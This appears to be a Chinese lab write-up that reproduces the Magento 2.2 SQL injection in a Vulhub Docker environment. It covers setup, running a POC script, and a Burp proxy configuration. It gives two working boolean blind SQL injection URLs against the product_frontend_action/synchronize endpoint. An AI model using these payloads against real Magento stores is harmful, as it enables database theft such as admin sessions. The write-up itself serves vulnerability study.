利用Vulnhub复现漏洞 - Magento 2.2 SQL注入漏洞

Magento 2.2 SQL注入漏洞

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现过程
      • 启动环境
      • 漏洞复现
        • 登录管理员账号
        • 使用POC
        • 读取管理员的session
    • 原理理解
      • 端口设置
          • 浏览器设置
          • BurpSuit设置

Vulnhub官方复现教程

https://vulhub.org/#/environments/magento/2.2-sqli/

漏洞原理

Magento(麦进斗)是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。设计得非常灵活,具有模块化架构体系和丰富的功能。

其prepareSqlCondition函数存在一处二次格式化字符串的bug,导致引入了非预期的单引号,造成SQL注入漏洞。

参考链接:

  • https://www.ambionics.io/blog/magento-sqli
  • https://devdocs.magento.com/guides/v2.2/release-notes/ReleaseNotes2.2.8CE.html

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/magento/2.2-sqli

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:6分钟
环境启动后,访问http://your-ip:8080即可看到Magento的安装页面。安装Magento时,数据库地址填写mysql,账号密码均为root,其他保持默认:
利用Vulnhub复现漏洞 - Magento 2.2 SQL注入漏洞_第1张图片

漏洞复现

登录管理员账号

利用Vulnhub复现漏洞 - Magento 2.2 SQL注入漏洞_第2张图片
利用Vulnhub复现漏洞 - Magento 2.2 SQL注入漏洞_第3张图片

使用POC

POC

python3 magento-sqli.py http://your-ip:8080  

读取管理员的session

第一次由于我注册的时候乱填的用户名密码,所以没登录管理员
在这里插入图片描述
第二次有登录
在这里插入图片描述

原理理解

端口设置

浏览器设置

以火狐浏览器FireFox为例,在选项常规网络设置设置,将连接手动代理配置HTTP代理,填写127.0.0.1,端口为8080
在这里插入图片描述

BurpSuit设置

ProxyOptionsProxy Listeners编辑监听端口为8080
在这里插入图片描述
并将ProxyIntercept点击成Intercept is on
分别访问如下链接:

http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-

利用Vulnhub复现漏洞 - Magento 2.2 SQL注入漏洞_第4张图片

http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-

利用Vulnhub复现漏洞 - Magento 2.2 SQL注入漏洞_第5张图片

可见,在执行))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) -- -时,返回的HTTP状态码不同:分别为200和400
通过改变OR的条件,即可实现SQL BOOL型盲注。

你可能感兴趣的:(渗透)